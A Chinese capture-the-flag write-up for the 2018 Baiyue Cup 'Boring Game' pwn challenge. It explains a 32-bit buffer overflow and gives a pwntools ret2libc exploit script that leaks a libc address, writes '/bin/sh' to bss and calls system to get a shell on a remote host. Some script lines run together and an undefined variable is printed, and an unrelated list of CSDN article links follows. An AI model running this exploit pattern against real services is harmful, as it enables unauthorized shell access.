拿到题目,发现有libc库,想到应该就是要用到ret2libc了

先把pwn扔到IDA看看先

发现有明显的溢出漏洞。

发现程序是32位,且只开启了NX保护

利用思路:

1、泄漏__libc_start_main的真实地址,padding + write_plt + game_addr + 1 + GOT(__libc_start_main) + 4

2、然后根据libc库的偏移,计算出system的真实地址

a可以看到偏移为0x22860

3、写入/bin/sh到bss段,我这里需要用到gadgets(pop_pop_pop_ret),我是用ROPgadget.py搜索的

可以看到 pppr的地址为 0x080487a9

4、调用system,getshell

from pwn import *
#context.log_level = 'debug'io=remote('117.50.59.220',12345)
elf = ELF('./pwn')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
game_addr = elf.symbols['game']
bss = elf.bss()
system_off = 0x22860
pppr = 0x080487a9io.recvuntil("your name ?\n")
payload = 'A'*88
payload += p32(write_plt) + p32(game_addr)
payload += p32(1) + p32(elf.got['__libc_start_main']) + p32(4)
io.sendline(payload)
io.recv()
io.sendline('1111')
io.recvuntil('\n')
io.recvuntil('\n')
libc_start_main = u32(io.recv(4))print(hex(base))io.recvuntil("your name ?\n")system = libc_start_main + system_offpayload = 'A'*88
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(8)
#写入“/bin/sh”到bss段
payload += p32(system) + p32(game_addr) + p32(bss)
#调用systemio.sendline(payload)
io.recv()
io.sendline('1111')
io.recvuntil('\n')
io.recvuntil('\n')io.sendline('/bin/sh\x00')io.interactive()

2018 百越杯 pwn(Boring Game Write up)相关推荐

  1. 2018 百越杯 pwn(format WriteUp)

    看到题目的内容,就知道大概是格式化漏洞了, 马上扔到IDA看个究竟. 不出所料,就是printf的格式化输出漏洞 思路: 1.利用格式化漏洞覆盖任意地址的值,这里我们需要覆盖secret的值,所以先要 ...

  2. 2018“百越杯”第四届福建省高校网络空间安全大赛部分题目writeup

    2018"百越杯"第四届福建省高校网络空间安全大赛writeup 0x00题目存档: 链接: https://pan.baidu.com/s/1v59VfheEC5XY8vyKvg ...

  3. 2018福建省“百越杯”CTF初赛writeup

    2018福建省"百越杯"CTF初赛writeup PWN Boring Game 题目描述 nc 117.50.59.220 12345 解题经过下载下来后有两个文件pwn和lib ...

  4. 第五届百越杯线上赛部分WP

    Web BabyPHP 一访问容器就给了PHP代码 <?php error_reporting(1); class Read {private $var;public function file ...

  5. 百越杯 Reverse (crazy write up)

    拿到程序后,先常规跑一跑: 然后我就把它扔到IDA看看 IDA SHIFT + F12 看到flag关键字,于是我就点击进去,并查看交叉引用 由此分析可以得出,flag可能是在if判断正确后输出的 于 ...

  6. 2019百越杯初赛——哈尔的移动城堡

    0x04 哈尔的移动城堡 操作内容:下载文件,得到一个压缩包,压缩包里有两张图片,第一张 102%,打开winhex,改文件头 把89474E50改为89504E47,再把文件的后缀名改为" ...

  7. 2018“云移杯- 景区口碑评价分值预测

    2018"云移杯- 景区口碑评价分值预测 (初赛第9) github链接:https://github.com/demonSong/DF_CCF_CONTEST 前言 实在太忙,找实习,天池 ...

  8. 2018年华为杯数学建模获奖名单挖掘分析

    2018年"华为杯"数学建模获奖名单挖掘分析 本文针对2018年"华为杯"数学建模6张拟获奖名单做一次简单的统计分析,以下分析结果仅代表思路,勿要以假乱真,权威 ...

  9. D题:手势识别装置 -- 2018年TI杯大学生电子设计竞赛

    D题:手势识别装置 – 2018年TI杯大学生电子设计竞赛 文章目录 D题:手势识别装置 -- 2018年TI杯大学生电子设计竞赛 1.任务 2.要求 3. 说明 1.任务 基于TI公司传感芯片FDC ...

最新文章

  1. Mahout协同推荐简单实例
  2. vue 拍照人脸识别_安排上了!PC人脸识别登录,出乎意料的简单
  3. 【laravel】我和laravel的旅程
  4. 一套完整的防火墙系统通常是由屏蔽路由器和代理服务器组成
  5. 机器人学习--室内定位方法综述
  6. ios设置tabbar背景颜色_WooCommerce微信小程序2.9.3版本发布 后台设置主题色 底栏装修定制...
  7. vue-router配置介绍和使用方法(三)
  8. 2021年中国车内娱乐和信息系统市场趋势报告、技术动态创新及2027年市场预测
  9. SSH与EJB 比较
  10. 8个成语接龙首尾相连_小学经典成语200个,已按场景分类好,孩子写作不再词穷...
  11. 解方程求PH值,POJ(2006)
  12. 软件测试——Postman Script脚本功能
  13. springboot+vue+elementUI springboot地方废物回收机构管理系统-#毕业设计
  14. C++调python(执行py文件)
  15. 魔兽世界会流行多久?
  16. python海龟漂亮图案代码大全_带有海龟图案的Python花
  17. Centos7开机自启动手册
  18. Locating //etc/named.conf failed: 报错处理
  19. 华为鸿蒙源自那句话,你知道华为“鸿蒙”,却不知道出处吧?出自《山海经》?错...
  20. 台式安装nas系统_从0开始使用“矿渣”低成本打造家庭NAS,黑群晖系统安装(中)...

热门文章

  1. 中小学AI教育靠谱吗?50%教师教学经验不足1年
  2. 倒计时2天,如何搭乘通往AI全明星技术盛宴的末班车?(附大会完整版全日程)...
  3. 面试定心丸:AI知识点备忘录(包括ML、DL、Python、Pandas等)
  4. CSDN受邀成为首批中国人工智能产业发展联盟特约媒体
  5. 重磅 | 谷歌Waymo最新发布可完全脱离人类操控的自动驾驶汽车
  6. 这玩意比ThreadLocal叼多了,吓得我赶紧分享出来。
  7. 并发测试神器,模拟一次超过 5 万的并发用户
  8. 趣谈GC技术,解密垃圾回收的玄学理论(一)
  9. Python数据处理入门教程!
  10. 用Transformer实现OCR字符识别!